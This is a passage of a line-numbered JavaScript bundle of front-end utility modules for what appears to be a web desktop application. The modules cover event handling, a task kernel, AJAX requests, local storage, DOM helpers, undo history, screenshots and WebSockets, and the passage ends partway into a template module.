2656//js/watch.js
2657function $watch(n) {
2658n = n || {};
2659var e = {},
2660 r = Array.prototype.slice,
2661 t = function(n, e) {
2662 n.replace(/\S+/g, e)
2663 },
2664 o = function(e, r) {
2665 Object.defineProperty(n, e, {
2666 value: r,
2667 enumerable: !1,
2668 writable: !1,
2669 configurable: !1
2670 })
2671 };
2672return n.observers = e, o("on", function(r, o) {
2673 return "function" != typeof o ? n : (t(r, function(n, r) {
2674 (e[n] = e[n] || []).push(o), o.typed = r > 0
2675 }), n)
2676}), o("off", function(r, o) {
2677 return "*" != r || o ? t(r, function(n) {
2678 if (o)
2679 for (var r, t = e[n], c = 0; r = t && t[c]; ++c) r == o && t.splice(c--, 1);
2680 else delete e[n]
2681 }) : e = {}, n
2682}), o("once", function(e, r) {
2683 function t() {
2684 n.off(e, t), r.apply(n, arguments)
2685 }
2686 return n.on(e, t)
2687}), o("trigger", function(o) {
2688 var c, u = r.call(arguments, 1);
2689 return t(o, function(t) {
2690 c = r.call(e[t] || [], 0);
2691 for (var o, f = 0; o = c[f]; ++f) {
2692 if (o.busy) return;
2693 o.busy = 1, o.apply(n, o.typed ? [t].concat(u) : u), c[f] !== o && f--, o.busy = 0
2694 }
2695 e["*"] && "*" != t && n.trigger.apply(n, ["*", t].concat(u))
2696 }), n
2697}), n
2698}
2699//js/kernel.js
2700! function(n) {
2701"use strict";
2702
2703function e(n, t) {
2704 if (arguments.length > 2) {
2705 var r = o.call(arguments),
2706 t = r.pop();
2707 e.series(r, t)
2708 } else $io.is.obj(n) && "function" == typeof t ? (e.data = n, t(n)) : $io.is.arr(n) && "function" == typeof t ? e.parallel(n, t) : "string" == typeof n && "function" == typeof t ? e.task(n, t) : "function" == typeof n ? e.task("modules", n) : "string" != typeof n || t || e.launch(n)
2709}
2710var t = {},
2711 r = {},
2712 o = Array.prototype.slice,
2713 a = {
2714 onerror: $noop,
2715 onready: $noop
2716 };
2717e.ready = t, e.tasks = r, e.config = function(n) {
2718 $extend(a, n)
2719}, e.task = function(n, e) {
2720 return (r[n] = r[n] || []).push(e), this
2721}, e.series = function(n, t) {
2722 function r(i) {
2723 if (i < n.length) {
2724 var s = n[i];
2725 "string" == typeof s ? (e.launch(s), e.on(s + ":ready", function(n) {
2726 n.length && (o[s] = n), r(++i)
2727 })) : e.parallel(s, function(n, e) {
2728 e.length && $extend(o, e), r(++i)
2729 })
2730 } else try {
2731 t(e.data, o)
2732 } catch (n) {
2733 n.message = "kernel.series.fn : " + n.message, a.onerror(n)
2734 }
2735 }
2736 var o = {};
2737 return r(0), this
2738}, e.parallel = function(n, r) {
2739 function o(o) {
2740 for (var s = 0, f = n.length; s < f; s++)
2741 if (!0 !== t[n[s]]) return;
2742 try {
2743 r(e.data, i)
2744 } catch (n) {
2745 n.message = "kernel.parallel.fn : " + n.message, a.onerror(n)
2746 }
2747 }
2748 var i = {};
2749 return $io.arr.all(n, function(n) {
2750 "string" == typeof n ? (e.launch(n), e.on(n + ":ready", function(e) {
2751 e.length && (i[n] = e), t[n] = !0, o()
2752 })) : e.series(n, function(e, r) {
2753 r.length && $extend(i, r), t[n] = !0, o()
2754 })
2755 }), this
2756}, e.launch = function(n) {
2757 function o() {
2758 t[n] = !0, a.onready(n), e.trigger(n + ":ready", e.data, s), e.off(n + ":ready")
2759 }
2760
2761 function i(n) {
2762 n && (s = s || []).push(n), 0 == --l && o()
2763 }
2764 var s, f, c, l = 0,
2765 u = r[n];
2766 if (u)
2767 for (f = 0, c = u.length; f < c; f++) ++l,
2768 function(t, r) {
2769 setTimeout(function() {
2770 try {
2771 t.length > 1 ? t(e.data, r) : r(t(e.data))
2772 } catch (e) {
2773 e.message = n + " : " + e.message, a.onerror(e), r(e)
2774 }
2775 }, 0)
2776 }(u[f], i);
2777 return this
2778}, n.$kernel = $watch(e)
2779}(this);
2780//js/utils.js
2781function $maxZ(e, n) {
2782var t, o, i, u, c = 0;
2783if ("string" == typeof e) t = (n || document).querySelectorAll(e);
2784else if ($io.isNodeList(e)) t = e;
2785else {
2786 if (!$io.isElement(e)) throw new Error("$maxZ: invalid selector");
2787 t = [e]
2788}
2789return $io.arr.all(t, function(e) {
2790 o = window.getComputedStyle(e, null), i = o.zIndex;
2791 var n = Number(i);
2792 "static" != o.position && "auto" != i && n > c && (u = e, c = n)
2793}), {
2794 num: c,
2795 el: u
2796}
2797}! function(e) {
2798"use strict";
2799
2800function n(e) {
2801 window.onhashchange = $noop, "replaceState" in history ? e ? history.replaceState("", document.title, "#!" + encodeURI(e) + window.location.search) : window.location.hash && history.replaceState("", document.title, window.location.pathname + window.location.search) : window.location.hash = e ? "!" + encodeURI(e) : "", setTimeout(function() {
2802 window.onhashchange = t
2803 }, 1e3)
2804}
2805
2806function t() {
2807 var e = location.hash;
2808 e && n.trigger("change", decodeURI(e.replace(/^#!/, "")))
2809}(n = $watch(n)).init = function() {
2810 t()
2811}, e.$route = n
2812}(window);
2813var $url = {
2814parseQuery: function(e) {
2815 return $io.arr.reduce(e.replace(/^\?/, "").split("&"), function(e, n) {
2816 var t = n.indexOf("="),
2817 o = n.slice(0, t),
2818 i = n.slice(++t);
2819 return e[o] = decodeURIComponent(i), e
2820 }, {})
2821},
2822getExtention: function(e) {
2823 var n = (e || "").match(/(?:\.)([0-9a-z]+)(?:[#?].+)?$/);
2824 return n && n[1] ? n[1] : ""
2825},
2826getDomain: function(e) {
2827 var n = (e || "").match(/:\/\/(.[^/]+)/);
2828 return null != n && n.length >= 2 ? n[1] : ""
2829},
2830checkImage: function(e, n) {
2831 function t() {
2832 o.width > 0 ? n(!0, e, o) : n(!1, e, o)
2833 }
2834 e || n(!1);
2835 var o = new Image;
2836 o.onload = t, o.onerror = t, o.onabort = t, o.src = e
2837},
2838_checkFavicon: function(e, n) {
2839 if (e && "" != $io.str.trim(e)) {
2840 var t, o = $url.getDomain(e);
2841 o ? $url.checkImage(t = "http://" + o + "/apple-touch-icon.png", function(e) {
2842 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.png", function(e) {
2843 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.ico", function(e) {
2844 e ? n(!0, t) : $url.checkImage(t = "http://" + o + "/favicon.gif", function(e) {
2845 e ? n(!0, t) : n(!1)
2846 })
2847 })
2848 })
2849 }) : n(!1)
2850 } else n(!1)
2851},
2852checkFavicon: function(e, n) {
2853 var t = ["/favicon-32x32.png", "/favicon.png", "/favicon.gif", "/favicon.ico"];
2854 if (e && "" != $io.str.trim(e)) {
2855 var o = $url.getDomain(e),
2856 i = !1,
2857 u = t.length - 1;
2858 if (o)
2859 for (var c = 0, r = t.length; c < r && !i; c++) $url.checkImage("http://" + o + t[c], function(e, t) {
2860 e && !i ? (i = !0, n(!0, t)) : i || 0 === --u && n(!1)
2861 });
2862 else n(!1)
2863 } else n(!1)
2864}
2865};
2866$url.query = function() {
2867 return $url.parseQuery(window.location.search.substring(1))
2868}(),
2869function(e) {
2870 "use strict";
2871
2872 function n() {
2873 return !!(document.fullscreenElement || document.mozFullScreenElement || document.webkitFullscreenElement || document.msFullscreenElement)
2874 }
2875
2876 function t() {
2877 document.documentElement.requestFullscreen ? document.documentElement.requestFullscreen() : document.documentElement.msRequestFullscreen ? document.documentElement.msRequestFullscreen() : document.documentElement.mozRequestFullScreen ? document.documentElement.mozRequestFullScreen() : document.documentElement.webkitRequestFullscreen && document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT)
2878 }
2879
2880 function o() {
2881 document.exitFullscreen ? document.exitFullscreen() : document.msExitFullscreen ? document.msExitFullscreen() : document.mozCancelFullScreen ? document.mozCancelFullScreen() : document.webkitExitFullscreen && document.webkitExitFullscreen()
2882 }
2883
2884 function i(e, i) {
2885 u && (document.removeEventListener("fullscreenchange", u, !1), document.removeEventListener("webkitfullscreenchange", u, !1), document.removeEventListener("mozfullscreenchange", u, !1)), n() ? (o(), "function" == typeof i && i()) : (t(), "function" == typeof e && e()), u = function() {
2886 n() ? "function" == typeof e && e() : "function" == typeof i && i()
2887 }, document.addEventListener("fullscreenchange", u, !1), document.addEventListener("webkitfullscreenchange", u, !1), document.addEventListener("mozfullscreenchange", u, !1)
2888 }
2889 var u;
2890 e.$fullscreen = i
2891}(this),
2892function(e) {
2893 "use strict";
2894
2895 function n(e, n, t) {
2896 e.addEventListener("animationend", t, !1), e.addEventListener("webkitAnimationEnd", t, !1), e.addEventListener("MSAnimationEnd", t, !1), e.addEventListener("oAnimationEnd", t, !1), e.addEventListener("oanimationend", t, !1), e.classList.add(n)
2897 }
2898
2899 function t(e, n) {
2900 var t = document.createElement("div");
2901 t.className = e, document.body.appendChild(t), n("none" != window.getComputedStyle(t, null)[i] ? !0 : !1), t.parentNode.removeChild(t)
2902 }
2903
2904 function o(e, o, i) {
2905 function u() {
2906 i(!0), e.removeEventListener("animationend", u, !1), e.removeEventListener("webkitAnimationEnd", u, !1), e.removeEventListener("MSAnimationEnd", u, !1), e.removeEventListener("oAnimationEnd", u, !1), e.removeEventListener("oanimationend", u, !1), e.classList.remove(o)
2907 }
2908 t(o, function(t) {
2909 t ? n(e, o, u) : i(!1)
2910 })
2911 }
2912 var i = function() {
2913 var e = document.createElement("div"),
2914 n = "Khtml Ms ms MS O o Moz moz webkit Webkit webKit WebKit".split(" "),
2915 t = n.length;
2916 return function(o) {
2917 if (o in e.style) return o;
2918 o = o.replace(/^[a-z]/, function(e) {
2919 return e.toUpperCase()
2920 });
2921 for (var i = 0; i < t; i++)
2922 if (n[i] + o in e.style) return n[i] + o;
2923 return !1
2924 }
2925 }()("animationName");
2926 o.i = ["rubberBand", "swing", "tada", "wobble", "bounceIn", "bounceInDown", "bounceInLeft", "fadeIn", "fadeInDown", "fadeInDownBig", "fadeInLeft", "fadeInLeftBig", "fadeInRight", "flip", "flipInX", "flipInY", "lightSpeedIn", "rotateIn", "rotateInDownLeft", "rotateInDownRight", "rotateInUpRight", "slideInDown", "slideInLeft", "rollIn", "zoomIn", "zoomInDown", "zoomInLeft", "zoomInRight", "zoomInUp"], o.o = ["bounceOut", "bounceOutDown", "bounceOutLeft", "bounceOutRight", "bounceOutUp", "fadeOut", "fadeOutDown", "fadeOutDownBig", "fadeOutLeft", "fadeOutLeftBig", "fadeOutRight", "fadeOutRightBig", "fadeOutUp", "lightSpeedOut", "rotateOut", "rotateOutDownLeft", "rotateOutDownRight", "rotateOutUpLeft", "rotateOutUpRight", "slideOutLeft", "slideOutRight", "slideOutUp", "hinge", "rollOut", "zoomOut", "zoomOutDown", "zoomOutLeft", "zoomOutRight", "zoomOutUp"], e.$animate = o
2927}(this),
2928function(e) {
2929 "use strict";
2930 var n = document.body.classList;
2931 e.$state = {
2932 wait: function() {
2933 n.add("ui_wait")
2934 },
2935 isLoading: function() {
2936 return n.contains("ui_loading--block") || n.contains("ui_loading")
2937 },
2938 loading: function(e) {
2939 n.add(!0 === e ? "ui_loading--block" : "ui_loading")
2940 },
2941 loaded: function() {
2942 n.remove("ui_loading--block"), n.remove("ui_loading")
2943 },
2944 pause: function() {
2945 n.add("ui_pause")
2946 },
2947 play: function() {
2948 n.remove("ui_pause")
2949 }
2950 }
2951}(this);
2952//js/selection.js
2953! function(e) {
2954"use strict";
2955var t = {
2956 get: function() {
2957 var e = "";
2958 return window.getSelection ? e = window.getSelection().toString() : document.selection && "Control" != document.selection.type && (e = document.selection.createRange().text), e
2959 },
2960 create: function(e, t, o) {
2961 if (e.createTextRange) {
2962 var c = e.createTextRange();
2963 c.collapse(!0), c.moveStart("character", t), c.moveEnd("character", o), c.select(), e.focus()
2964 } else e.setSelectionRange ? (e.focus(), e.setSelectionRange(t, o)) : void 0 !== e.selectionStart && (e.selectionStart = t, e.selectionEnd = o, e.focus())
2965 },
2966 copy: function(e) {
2967 if ("string" == typeof e) {
2968 var t = document.createElement("textarea");
2969 t.value = e, document.body.appendChild(t), console.log(t), e = t
2970 }
2971 if (e)
2972 if (window.getSelection().removeAllRanges(), e.select) e.focus(), e.select();
2973 else {
2974 var o = document.createRange();
2975 o.selectNode(e), window.getSelection().addRange(o)
2976 }
2977 try {
2978 var c = document.execCommand("copy") ? "successful" : "unsuccessful";
2979 console.log("Copy command was " + c)
2980 } catch (e) {
2981 console.log("Oops, unable to copy")
2982 }
2983 e && window.getSelection().removeAllRanges()
2984 }
2985};
2986e.$selection = t
2987}(this);
2988//js/ajax.js
2989! function(e) {
2990"use strict";
2991
2992function t(e) {
2993 return e === Object(e)
2994}
2995
2996function n(e) {
2997 if (!t(e)) return e;
2998 var n = [];
2999 for (var r in e) null != e[r] && n.push(encodeURIComponent(r) + "=" + encodeURIComponent(e[r]));
3000 return n.join("&")
3001}
3002
3003function r(e) {
3004 var t, n;
3005 try {
3006 t = JSON.parse(e.responseText), n = !0
3007 } catch (r) {
3008 t = "text" === e.responseType || "" === e.responseType ? e.responseText : null, n = !1
3009 }
3010 return [t, e.status, e, n]
3011}
3012
3013function u() {
3014 if (window.XMLHttpRequest && ("file:" != window.location.protocol || !window.ActiveXObject)) return new XMLHttpRequest;
3015 try {
3016 return new ActiveXObject("Microsoft.XMLHTTP")
3017 } catch (e) {}
3018 try {
3019 return new ActiveXObject("Msxml2.XMLHTTP.6.0")
3020 } catch (e) {}
3021 try {
3022 return new ActiveXObject("Msxml2.XMLHTTP.3.0")
3023 } catch (e) {}
3024 try {
3025 return new ActiveXObject("Msxml2.XMLHTTP")
3026 } catch (e) {}
3027 return !1
3028}
3029
3030function o(e, t, o) {
3031 var s = new Error("nope"),
3032 a = u(),
3033 c = {
3034 done: function() {},
3035 fail: function() {},
3036 guest: function() {}
3037 },
3038 f = {
3039 done: function(e) {
3040 return c.done = e, f
3041 },
3042 fail: function(e) {
3043 return c.fail = e, f
3044 },
3045 guest: function(e) {
3046 return c.guest = e, f
3047 }
3048 },
3049 i = {
3050 arraybuffer: !1
3051 };
3052 return "GET" == e && o && (i = o, o = null), t && "/" !== t ? (a.open(e, t, !0), i.arraybuffer && (a.responseType = "arraybuffer"), a.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), a.setRequestHeader("X-Requested-With", "XMLHttpRequest"), o && o._csrf && (a.setRequestHeader("X-CSRF-Token", o._csrf), delete o._csrf), a.onreadystatechange = function() {
3053 if (4 === a.readyState)
3054 if (a.status >= 200 && a.status < 300) i.arraybuffer ? c.done.apply(c, [a.response, a.status, a, !1]) : c.done.apply(c, r(a));
3055 else if (401 == a.status) c.guest.call(c, a.statusText, {
3056 type: e.toLowerCase(),
3057 url: t,
3058 data: o
3059 });
3060 else {
3061 var n = r(a);
3062 s.message = e + " " + t + " " + n[2].status + " (" + n[2].statusText + ")", c.fail.apply(c, [s].concat(n))
3063 }
3064 }, o ? a.send(n(o)) : a.send()) : c.fail.call(c, "Invalid url"), f
3065}
3066
3067function s(e, t, n, r) {
3068 var u = o("GET", e);
3069 u.done(t || $noop), u.fail(n || $noop), u.guest(r || $noop)
3070}
3071s.get = function(e, t) {
3072 return o("GET", e, t)
3073}, s.post = function(e, t) {
3074 return o("POST", e, t)
3075}, s.delete = function(e, t) {
3076 return o("DELETE", e, t)
3077}, s.put = function(e, t) {
3078 return o("PUT", e, t)
3079}, s.buffer = function(e, t) {
3080 var n = new XMLHttpRequest;
3081 n.open("GET", e, !0), n.responseType = "arraybuffer", n.onload = function(e) {
3082 var r = n.response;
3083 r && t(r)
3084 }, n.send(null)
3085}, e.$ajax = s
3086}(this);
3087//js/chain.js
3088function $chain() {
3089"use strict";
3090
3091function t(t, n, i) {
3092 Object.defineProperty(t, i, {
3093 get: function() {
3094 var t = n();
3095 return void 0 === t ? this : t
3096 }
3097 })
3098}
3099
3100function n(t, n, i) {
3101 t[i] = function() {
3102 var t = n.apply(this, arguments);
3103 return void 0 === t ? this : t
3104 }
3105}
3106
3107function i(r, o, u) {
3108 return $io.isObject(o) && $io.obj.all(o, function(i, o) {
3109 !0 === u ? t(r, i, o) : n(r, i, o), "both" === u && (t(r, i, o), n(r, i, o))
3110 }), $io.isObject(u) ? i(r, u, !0) : r
3111}
3112var r = i.apply(null, arguments);
3113return r.prop = function(t) {
3114 return i(this, t, !0)
3115}, r.meth = function(t) {
3116 return i(this, t)
3117}, r
3118}
3119//js/db.js
3120! function(t) {
3121"use strict";
3122
3123function n(t, o, e) {
3124 n.get(o, function(n, o) {
3125 e(n, o || t)
3126 })
3127}
3128var o = t.localforage;
3129if (!o) throw new Error("Your browser don't support local save");
3130o.config({
3131 name: "fs",
3132 storeName: "a"
3133}), n.set = function(t, n, e) {
3134 var r = n;
3135 o.setItem(t, r, function(t, n) {
3136 t && $alert.error(t), (e || $noop)(t, n)
3137 })
3138}, n.get = function(t, n) {
3139 o.getItem(t, function(t, o) {
3140 var e = o;
3141 (n || $noop)(t, e)
3142 })
3143}, n.update = function(t, o, e) {
3144 n.get(t, function(r, u) {
3145 r || "function" != typeof o || n.set(t, o(u), e || $noop)
3146 })
3147}, n.getRaw = function(t, n) {
3148 o.getItem(t, n || $noop)
3149}, n.del = function(t, n) {
3150 o.removeItem(t, n || $noop)
3151}, n.clear = function(t) {
3152 o.clear(t || $noop)
3153}, n.keys = function(t) {
3154 o.keys(t || $noop)
3155}, n.store = o, t.$db = n
3156}(this),
3157function(t) {
3158function n(t, o, u, f) {
3159 var i = n.get(t);
3160 return i || (i = n.set(t, o)), "function" == typeof f && (r[t] = f), "function" == typeof u && (e[t] = u, u(i)), i
3161}
3162var o = window.localStorage,
3163 e = {},
3164 r = {};
3165if (!o) throw new Error("Your browser don't support local save");
3166n.set = function(t, e, r) {
3167 var u = e;
3168 if ("string" != typeof e) try {
3169 u = JSON.stringify(e)
3170 } catch (t) {}
3171 try {
3172 o.setItem(t, u), r || n.autoReady(t, e)
3173 } catch (t) {
3174 $alert.error(t)
3175 }
3176 return e
3177}, n.get = function(t) {
3178 var n = o.getItem(t);
3179 try {
3180 n = JSON.parse(n)
3181 } catch (t) {}
3182 return n
3183}, n.update = function(t, o) {
3184 var e = n.get(t);
3185 if ("function" == typeof o) return n.set(t, o(e))
3186}, n.getRaw = function(t) {
3187 return o.getItem(t)
3188}, n.del = function(t) {
3189 o.removeItem(t), e[t] = null, r[t] = null
3190}, n.onReady = function(t, n) {
3191 return "function" == typeof n && (e[t] = n), e[t]
3192}, n.onSave = function(t, n) {
3193 return "function" == typeof n && (r[t] = n), r[t]
3194}, n.autoReady = function(t, n) {
3195 e.hasOwnProperty(t) && "function" == typeof e[t] && e[t](n)
3196}, n.autoSave = function(t) {
3197 r.hasOwnProperty(t) && "function" == typeof r[t] && n.set(t, r[t](), !0)
3198}, n.clear = function() {
3199 o.clear();
3200 for (var t in e) e.hasOwnProperty(t) && (e[t] = null);
3201 for (var t in r) r.hasOwnProperty(t) && (r[t] = null)
3202}, n.keys = function() {
3203 return Object.keys(o)
3204}, window.self !== window.top && window.parent.$store ? t.$store = window.parent.$store : (window.addEventListener("beforeunload", function(t) {
3205 for (var o in r) n.autoSave(o)
3206}), t.$store = n)
3207}(this);
3208//js/el.js
3209! function(e) {
3210"use strict";
3211
3212function n(e, n) {
3213 r ? (clearTimeout(r), r = null, n(e), e.preventDefault()) : r = setTimeout(function() {
3214 r = null
3215 }, 300)
3216}
3217
3218function t(e, t) {
3219 "string" == typeof(e = e || {}) && (t || document).querySelector(e), 1 !== e.nodeType && (e = document);
3220 var r, o = !0;
3221 return $io.arr.all(i, function(n) {
3222 n.elem === e && (o = !1)
3223 }), o && i.push({
3224 elem: e,
3225 attach: []
3226 }), r = {
3227 get: function() {
3228 return e
3229 },
3230 html: function(n) {
3231 return n ? (e.innerHTML = n, r) : e.innerHTML
3232 },
3233 add: function(n) {
3234 return e.innerHTML = e.innerHTML + n, r
3235 },
3236 empty: function() {
3237 for (; e.firstChild;) e.removeChild(e.firstChild);
3238 return r
3239 },
3240 each: function(n, t) {
3241 for (var i = e.querySelectorAll(n), o = 0, c = i.length; o < c; o++) t.call(i[o], i[o], o);
3242 return r
3243 },
3244 append: function(n) {
3245 var t, i;
3246 if ("string" == typeof n) {
3247 (t = document.createElement("div")).innerHTML = n;
3248 for (var o = 0, c = (i = t.childNodes).length; o < c; o++) i[o] && 1 === i[o].nodeType && e.appendChild(i[o])
3249 } else e.appendChild(n);
3250 return r
3251 },
3252 click: function() {
3253 if ("createEvent" in document) {
3254 var n = document.createEvent("MouseEvents");
3255 n.initMouseEvent("click", !0, !1, window, 0, 0, 0, 0, 0, !1, !1, !1, !1, 0, null), e.dispatchEvent(n)
3256 } else e.fireEvent("onclick")
3257 },
3258 trigger: function(n) {
3259 if ("click" !== n)
3260 if ("createEvent" in document) {
3261 var t = document.createEvent("HTMLEvents");
3262 t.initEvent(n, !1, !0), e.dispatchEvent(t)
3263 } else e.fireEvent("on" + n);
3264 else r.click()
3265 },
3266 on: function(t, o, c, l) {
3267 function a(e) {
3268 if (!this.disabled) return !1 === c.call(this, e) ? (e.preventDefault(), e.stopPropagation(), e.stopImmediatePropagation(), !1) : void 0
3269 }
3270 "function" == typeof o && (l = c, c = o, o = null), l = !!l;
3271 var u = o ? $delegate(o, a) : a;
3272 return t.replace(/[^\s]+/g, function(t) {
3273 "doubletap" === t ? (u = function(e) {
3274 return function(t) {
3275 n(t, e.bind(this)), t.stopPropagation()
3276 }
3277 }(u), e.addEventListener("touchstart", u, l)) : e.addEventListener(t, u, l), $io.arr.all(i, function(n) {
3278 n.elem === e && n.attach.push({
3279 name: t,
3280 childs: o,
3281 handler: c,
3282 scopeHandler: u,
3283 useCapture: l
3284 })
3285 })
3286 }), r
3287 },
3288 off: function(n, t, o) {
3289 return o || (o = t, t = null), n.replace(/[^\s]+/g, function(n) {
3290 $io.arr.all(i, function(r) {
3291 r.elem === e && $io.arr.all(r.attach, function(r) {
3292 r.name == n && r.childs == t && r.handler == o && e.removeEventListener(n, r.scopeHandler, r.useCapture)
3293 })
3294 })
3295 }), r
3296 }
3297 }
3298}
3299var r = !1,
3300 i = [];
3301t.create = function(e, n, t) {
3302 var r = e.split(/[>| ]+/);
3303 if (t && r.pop(), !r && n) return n;
3304 var i, o;
3305 return $io.arr.all(r, function(e) {
3306 e.replace(/(\w+)?(#(\w+))?(\.([\w|.]+))?/, function(e, n, t, r, c, l) {
3307 var a = document.createElement(n || "div");
3308 r && (a.id = r), l && (a.className = l.split(".").join(" ")), o && o.appendChild(a), o = a, i || (i = o)
3309 })
3310 }), n && o.appendChild(n), i
3311}, t.each = function(e, n) {
3312 for (var r = document.querySelectorAll(e), i = 0, o = r.length; i < o; i++) n.call(r[i], r[i], i);
3313 return t
3314}, e.$el = t
3315}(this);
3316//js/on.js
3317! function(t) {
3318"use strict";
3319
3320function e(t, f) {
3321 if (!e.watchedElementData) {
3322 e.watchedElementData = [];
3323 var i = function() {
3324 e.watchedElementData.forEach(function(e) {
3325 t.offsetWidth === e.offsetWidth && t.offsetHeight === e.offsetHeight || (e.offsetWidth = t.offsetWidth, e.offsetHeight = t.offsetHeight, e.callback())
3326 })
3327 };
3328 window.addEventListener("resize", i), new MutationObserver(i).observe(document.body, {
3329 attributes: !0,
3330 childList: !0,
3331 characterData: !0,
3332 subtree: !0
3333 })
3334 }
3335 e.watchedElementData.push({
3336 element: t,
3337 offsetWidth: t.offsetWidth,
3338 offsetHeight: t.offsetHeight,
3339 callback: f
3340 })
3341}
3342t.$on = {
3343 resize: e
3344}
3345}(this);
3346//js/extend.js
3347! function(t) {
3348"use strict";
3349
3350function e(t) {
3351 var a, l, p, i, y = !1;
3352 for ("boolean" == typeof t || "string" == typeof t ? (a = c.call(arguments, 1), t = !0 === t ? "deep" : t) : (a = arguments, t = !1), "concat" === t && (t = "deep", y = !0), l = a[0], p = 1, i = a.length; p < i; p++) {
3353 var s = a[p];
3354 for (var u in s) {
3355 var f = s[u];
3356 ("strict" != t || r.call(l, u)) && ("deep" != t || "[object Object]" !== n.call(f) ? y && o(f) ? o(l[u]) ? l[u] = l[u].concat(f) : l[u] = [].concat(f) : l[u] = f : ("[object Object]" !== n.call(l[u]) && (l[u] = {}), e(t, l[u], f)))
3357 }
3358 }
3359 return l
3360}
3361var r = Object.prototype.hasOwnProperty,
3362 c = Array.prototype.slice,
3363 n = Object.prototype.toString,
3364 o = Array.isArray ? Array.isArray : function(t) {
3365 return t && "object" == typeof t && "number" == typeof t.length && "[object Array]" == n.call(t) || !1
3366 };
3367e.deep = function() {
3368 return e.apply(this, ["deep"].concat(c.call(arguments)))
3369}, e.strict = function() {
3370 return e.apply(this, ["strict"].concat(c.call(arguments)))
3371}, e.clone = function() {
3372 return e.apply(this, ["deep", {}].concat(c.call(arguments)))
3373}, t.$extend = e
3374}(this);
3375//js/undo.js
3376function $undo(n) {
3377var t = n || [],
3378 r = n ? n.length : 0,
3379 e = window.$noop || function(n) {};
3380return {
3381 get: function() {
3382 return t.slice(0, r >= 0 ? r : 0)
3383 },
3384 cursor: function() {
3385 return r
3386 },
3387 history: function() {
3388 return t
3389 },
3390 clear: function() {
3391 t.length = r = 0
3392 },
3393 add: function(n) {
3394 return t.splice(r++, t.length, n), n
3395 },
3396 each: function(n) {
3397 r > t.length && (r = t.length);
3398 for (var e = 0; e < r; e++) n(t[e])
3399 },
3400 redo: function(n) {
3401 if (r++ > t.length && (r = t.length + 1), r <= 0 && (r = 1), t[r - 1]) {
3402 var o = t[r - 1].redo ? t[r - 1].redo() : t[r - 1];
3403 (n || e)(o)
3404 }
3405 return o
3406 },
3407 undo: function(n) {
3408 if (--r < -1 && (r = -1), r >= t.length && (r = t.length - 1), t[r]) {
3409 var o = t[r].undo ? t[r].undo() : t[r];
3410 (n || e)(o)
3411 }
3412 return o
3413 }
3414}
3415}
3416//js/screenshot.js
3417! function(e) {
3418"use strict";
3419
3420function t(e, o, i) {
3421 "function" == typeof o && (i = o, o = {});
3422 var r, a, l = $extend({}, n, o);
3423 return $loader(["/c/libs/rasterizeHTML.allinone.js"], function() {
3424 var n, o = "<style>",
3425 c = !1;
3426 if (e) {
3427 if ("string" == typeof e) n = document.querySelector(e), r = $el.create(e, n.cloneNode(!0));
3428 else if ($io.isElement(e))(r = (n = e).cloneNode(!0)).id = "screenshot__unique__selector", e = "#" + r.id;
3429 else {
3430 if (!$io.isDocument(e)) return void console.error("$screenshot : invalid selector!");
3431 c = !0, n = e, r = e.cloneNode(!0)
3432 }
3433 var s = l.width || n.offsetWidth,
3434 u = l.height || n.offsetHeight;
3435 c || (o += "body {background:transparent !important}\n" + e + " {width:" + s + "px!important;height:" + u + "px!important;position:absolute!important; top:0px!important;left:0px!important}\n")
3436 } else {
3437 n = l.default, r = n.cloneNode(!0);
3438 var s = n.offsetWidth,
3439 u = n.offsetHeight
3440 }
3441 if (r) {
3442 $io.arr.all(r.querySelectorAll(".js_image_inline"), function(e) {
3443 o += '.js_image_inline[data-image-id="' + e.dataset.imageId + '"] { background-image: ' + e.style.backgroundImage + "!important; background-size: " + e.style.backgroundSize + "!important; background-position: " + e.style.backgroundPosition + "!important; background-repeat: " + e.style.backgroundRepeat + "!important;}"
3444 }), o += "</style>", $io.arr.all(document.styleSheets, function(e) {
3445 o += e.ownerNode.outerHTML
3446 });
3447 var d = document.createElement("canvas");
3448 d.width = s + 1, d.height = u + 1, a = function(e, t) {
3449 rasterizeHTML[c ? "drawDocument" : "drawHTML"](c ? r : o + e, d, {
3450 useBlobs: !1,
3451 baseUrl: c ? null : window.location.origin
3452 }).then(function(e) {
3453 t(d, n || r, e)
3454 }, function(e) {
3455 $alert.error(e)
3456 })
3457 };
3458 var f = r.querySelectorAll("iframe"),
3459 h = r.querySelectorAll("canvas"),
3460 g = f.length + h.length;
3461 if (g) {
3462 if (f.length) {
3463 var m = n.querySelectorAll("iframe");
3464 $io.arr.each(f, function(e, n) {
3465 t(m[n].contentDocument, {
3466 width: m[n].clientWidth,
3467 height: m[n].clientHeight
3468 }, function(t, o, l) {
3469 e.parentNode.replaceChild(l.image, e), l.image.style.cssText = window.getComputedStyle(m[n], "").cssText, l.image.style.width = m[n].clientWidth + "px", l.image.style.height = m[n].clientHeight + "px", 0 == --g && a(r.outerHTML, i)
3470 })
3471 })
3472 }
3473 if (h.length) {
3474 var p = n.querySelectorAll("canvas");
3475 $io.arr.each(h, function(e, t) {
3476 var n = new Image;
3477 n.src = p[t].toDataURL(), e.parentNode.replaceChild(n, e), n.style.cssText = window.getComputedStyle(p[t], "").cssText, 0 == --g && a(r.outerHTML, i)
3478 })
3479 }
3480 } else a(r.outerHTML, i)
3481 }
3482 }), {
3483 refresh: function(e) {
3484 a(r.outerHTML, e)
3485 },
3486 destroy: function() {
3487 canvas = null, html = null, r = null
3488 }
3489 }
3490}
3491var n = {
3492 default: document.body
3493};
3494t.config = function(e) {
3495 $extend(n, e)
3496}, e.$screenshot = t
3497}(this);
3498//js/socket.js
3499! function(n) {
3500"use strict";
3501
3502function t(n) {
3503 var t = {};
3504 this.on = function(n, o) {
3505 return t[n] = t[n] || [], t[n].push(o), this
3506 }, this.send = function(n, t) {
3507 return this.conn.send(t), this
3508 }, this.connect = function() {
3509 "function" == typeof MozWebSocket ? this.conn = new MozWebSocket(n) : this.conn = new WebSocket(n), this.conn.onmessage = function(n) {
3510 o("message", n.data)
3511 }, this.conn.onclose = function() {
3512 o("close", null)
3513 }, this.conn.onopen = function() {
3514 o("open", null)
3515 }
3516 }, this.disconnect = function() {
3517 this.conn.close()
3518 };
3519 var o = function(n, o) {
3520 var c = t[n];
3521 if (void 0 !== c)
3522 for (var i = 0; i < c.length; i++) c[i](o)
3523 }
3524}
3525
3526function o(n) {
3527 return new t(n)
3528}
3529n.$socket = o
3530}(this);
3531//js/template.js
3532! function(n) {
3533"use strict";
3534
3535function e(n) {
